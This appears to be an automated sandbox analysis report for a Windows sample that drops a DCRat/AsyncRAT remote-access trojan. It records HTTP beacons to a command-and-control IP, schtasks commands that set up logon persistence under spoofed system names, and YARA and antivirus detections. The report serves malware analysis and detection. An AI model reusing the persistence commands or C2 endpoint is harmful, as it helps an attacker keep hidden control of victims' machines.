Nov 27, 2024 04:02:49.794919968 CET	640	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: 188.120.228.203 Connection: Keep-Alive
Nov 27, 2024 04:02:51.178966999 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:50 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Roboto;font-size:.875rem;-ms-text-size-adjust:100%;-moz-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-color:#000}button,input,textarea{font-family:Roboto;font-size:inherit;line-height:inherit;color:inherit;background-color:rgba(0,0,0,0)}input,textarea{width:
Nov 27, 2024 04:02:51.178983927 CET	1236	IN	Data Raw: 31 30 30 25 7d 62 75 74 74 6f 6e 2c 6f 70 74 69 6f 6e 2c 73 65 6c 65 63 74 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 61 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 75 6c 20 6c Data Ascii: 100%}button,option,select{cursor:pointer}a{color:inherit;text-decoration:none}ul li{list-style:none}img{vertical-align:top}h1,h2,h3,h4,h5,h6{font-weight:inherit;font-size:inherit}.lock body{overflow:hidden;touch-action:none;-ms-scroll-chaining
Nov 27, 2024 04:02:51.178996086 CET	1236	IN	Data Raw: 3b 6c 65 66 74 3a 30 3b 74 6f 70 3a 31 30 70 78 3b 77 69 64 74 68 3a 34 70 78 3b 68 65 69 67 68 74 3a 34 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 77 69 6e Data Ascii: ;left:0;top:10px;width:4px;height:4px;border-radius:50%;background-color:#fff}.window-main__actions{display:flex;justify-content:center}.window-main__actions a{min-height:34px;border:2px solid #2b313d;display:flex;flex-direction:column;justify
Nov 27, 2024 04:02:51.179064035 CET	1236	IN	Data Raw: 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 2d 34 2e 33 30 34 38 37 38 30 34 38 38 72 65 6d 20 2b 20 32 39 2e 30 32 34 33 39 30 32 34 33 39 76 77 20 2c 38 Data Ascii: em)){.window-main{padding-left:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)}}@supports not (padding-left:clamp(1.5rem ,-4.3048780488rem + 29.0243902439vw ,8.9375rem)){.window-main{padding-left:calc(1.5rem + 7.4375*(100vw - 20re
Nov 27, 2024 04:02:51.179076910 CET	1236	IN	Data Raw: 32 35 2e 36 32 35 29 7d 7d 40 73 75 70 70 6f 72 74 73 20 28 66 6f 6e 74 2d 73 69 7a 65 3a 63 6c 61 6d 70 28 31 2e 35 72 65 6d 20 2c 30 2e 39 31 34 36 33 34 31 34 36 33 72 65 6d 20 2b 20 32 2e 39 32 36 38 32 39 32 36 38 33 76 77 20 2c 32 2e 32 35 Data Ascii: 25.625)}}@supports (font-size:clamp(1.5rem ,0.9146341463rem + 2.9268292683vw ,2.25rem)){.window-main__title{font-size:clamp(1.5rem ,.9146341463rem + 2.9268292683vw ,2.25rem)}}@supports not (font-size:clamp(1.5rem ,0.9146341463rem + 2.926829268
Nov 27, 2024 04:02:51.179089069 CET	1236	IN	Data Raw: 39 30 32 34 34 72 65 6d 20 2b 20 30 2e 34 38 37 38 30 34 38 37 38 76 77 20 2c 30 2e 36 38 37 35 72 65 6d 29 29 7b 2e 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 6c 69 73 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 63 61 6c 63 28 2e 35 36 32 35 72 65 Data Ascii: 90244rem + 0.487804878vw ,0.6875rem)){.window-main__list{padding-left:calc(.5625rem + .125*(100vw - 20rem)/ 25.625)}}@supports (padding-left:clamp(0.75rem ,0.6524390244rem + 0.487804878vw ,0.875rem)){.window-main__item{padding-left:clamp(.75re
Nov 27, 2024 04:02:51.179100990 CET	1236	IN	Data Raw: 09 3c 70 61 74 68 20 64 3d 22 4d 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 43 33 36 30 2e 35 32 32 20 35 36 33 2e 34 32 31 20 32 37 36 2e 31 34 37 20 34 39 37 2e 34 34 38 20 32 35 37 2e 31 37 34 20 34 33 30 2e 38 31 34 43 32 33 38 2e 32 20 33 Data Ascii: <path d="M360.522 563.421C360.522 563.421 276.147 497.448 257.174 430.814C238.2 364.18 250.761 287.368 285.228 259.25C319.696 231.133 363.018 262.356 381.991 328.99C287.99 418.472 360.522 563.421 360.522 563.421Z" fill="#00498D" /></g>
Nov 27, 2024 04:02:51.179264069 CET	1236	IN	Data Raw: 69 6c 74 65 72 31 5f 66 5f 32 30 30 31 5f 35 22 20 78 3d 22 36 33 2e 38 35 39 31 22 20 79 3d 22 31 34 36 2e 33 31 39 22 20 77 69 64 74 68 3d 22 33 39 34 2e 35 34 34 22 20 68 65 69 67 68 74 3d 22 34 32 36 2e 31 34 32 22 20 66 69 6c 74 65 72 55 6e Data Ascii: ilter1_f_2001_5" x="63.8591" y="146.319" width="394.544" height="426.142" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="Sou
Nov 27, 2024 04:02:51.179275990 CET	1236	IN	Data Raw: 63 6c 61 73 73 3d 22 77 69 6e 64 6f 77 2d 6d 61 69 6e 5f 5f 69 74 65 6d 22 3e 59 6f 75 20 61 72 65 20 61 63 63 65 73 73 69 6e 67 20 74 68 65 20 73 69 74 65 20 76 69 61 20 48 54 54 50 53 2c 20 62 75 74 20 74 68 65 20 73 69 74 65 20 64 6f 65 73 20 Data Ascii: class="window-main__item">You are accessing the site via HTTPS, but the site does not have an SSL certificate installed.</li><li class="window-main__item">Your domain has an AAAA record, but the site only works with IPv4 on the server.
Nov 27, 2024 04:02:51.179291010 CET	797	IN	Data Raw: 65 4f 6e 55 73 65 22 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 3e 0a 09 09 09 09 09 09 09 09 3c 66 65 46 6c 6f 6f 64 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 72 65 73 Data Ascii: eOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix" /><feBlend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /><feGaussianBlur stdDeviation="75
Nov 27, 2024 04:02:51.379973888 CET	14	IN	Data Raw: 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: body></html>
Nov 27, 2024 04:02:51.382492065 CET	616	OUT	GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X HTTP/1.1 Accept: / Content-Type: text/css User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36 Host: 188.120.228.203
Nov 27, 2024 04:02:51.843673944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 27 Nov 2024 03:02:51 GMT Content-Type: text/html Content-Length: 11694 Last-Modified: Wed, 11 Sep 2024 10:54:53 GMT Connection: keep-alive ETag: "66e176fd-2dae" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 46 41 53 54 50 41 4e 45 4c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 09 3c 73 74 79 6c 65 3e 0a 09 09 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><title>FASTPANEL</title><meta charset="UTF-8"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex,nofollow"><style>@import url('https://fonts.googleapis.com/css?family=Roboto:regular,500&display=swap');::after,::before,a,label{display:inline-block}.main,.wrapper{flex-direction:column}.window-main,.window-main__item{position:relative}{padding:0;margin:0;border:0},::after,::before{box-sizing:border-box}body,html{height:100%;min-width:320px}body{color:#fff;line-height:1;font-family:Roboto;font-size:.875rem;-ms-text-size-adjust:100%;-moz-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background-color:#000}button,input,textarea{font-family:Roboto;font-size:inherit;line-height:inherit;color:inherit;background-color:rgba(0,0,0,0)}input,textarea{width:

Target ID:	0
Start time:	22:01:59
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\UNFOT5F1qt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UNFOT5F1qt.exe"
Imagebase:	0x420000
File size:	1'131'531 bytes
MD5 hash:	1C40D9E61FBBD5D9054638B98B10E1CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:02:00
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\UNFOT5F1qt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\UNFOT5F1qt.exe"
Imagebase:	0x8a0000
File size:	1'131'531 bytes
MD5 hash:	1C40D9E61FBBD5D9054638B98B10E1CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:02:00
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe"
Imagebase:	0x820000
File size:	586'240 bytes
MD5 hash:	222EDC84E2D32948F2639554B23E7B04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000002.1397323956.0000000002BF0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000005.00000000.1348990255.0000000000822000.00000002.00000001.01000000.00000007.sdmp, Author: ditekSHen Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:02:00
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 1156
Imagebase:	0xaf0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:02:00
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe"
Imagebase:	0x400000
File size:	440'224 bytes
MD5 hash:	74BE806E27A351565F2EC136DCB5232C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Users\All Users\Application Data\Application Data\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default User\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\regedit\explorer.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:02:03
Start date:	26/11/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Documents and Settings\Public\Pictures\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff774c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:02:04
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe"
Imagebase:	0x3d0000
File size:	586'240 bytes
MD5 hash:	222EDC84E2D32948F2639554B23E7B04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000011.00000002.1426473572.00000000026A0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:02:05
Start date:	26/11/2024
Path:	C:\Windows\regedit\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\regedit\explorer.exe
Imagebase:	0x810000
File size:	586'240 bytes
MD5 hash:	222EDC84E2D32948F2639554B23E7B04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000012.00000002.1476991915.0000000002D40000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Windows\regedit\explorer.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Windows\regedit\explorer.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Windows\regedit\explorer.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:02:05
Start date:	26/11/2024
Path:	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe"
Imagebase:	0xb90000
File size:	586'240 bytes
MD5 hash:	222EDC84E2D32948F2639554B23E7B04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000013.00000002.1476965095.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: Joe Security Rule: MALWARE_Win_DCRat, Description: DCRat payload, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:02:13
Start date:	26/11/2024
Path:	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe"
Imagebase:	0x510000
File size:	586'240 bytes
MD5 hash:	222EDC84E2D32948F2639554B23E7B04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000017.00000002.1520715428.000000000285A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:02:38
Start date:	26/11/2024
Path:	C:\Windows\regedit\explorer.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\regedit\explorer.exe"
Imagebase:	0x100000
File size:	586'240 bytes
MD5 hash:	222EDC84E2D32948F2639554B23E7B04
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	17.9%
Total number of Nodes:	151
Total number of Limit Nodes:	14

Executed Functions

Function 00F3EE30 Relevance: 2.4, APIs: 1, Instructions: 858
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f30000_UNFOT5F1qt.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 2fb68ea7708eabd108d7e6637ec9a5278a5808df63fa27216acb245213d7ef04
Instruction ID: 430d150040943db2cc8bb1a271ce796c9bd6cb8eafcdb52e0ed9afb274c37a56
Opcode Fuzzy Hash: 2fb68ea7708eabd108d7e6637ec9a5278a5808df63fa27216acb245213d7ef04
Instruction Fuzzy Hash: 0E82C371E002298FDB64CF69C880BEDB7F2BF88314F1481EAD549AB255DB349E859F50

Function 00F3D268 Relevance: 1.7, Strings: 1, Instructions: 473
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Q, xrefs: 00F3DA27

Memory Dump Source

Source File: 00000000.00000002.1456563983.0000000000F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F30000, based on PE: false

Joe Sandbox IDA Plugin

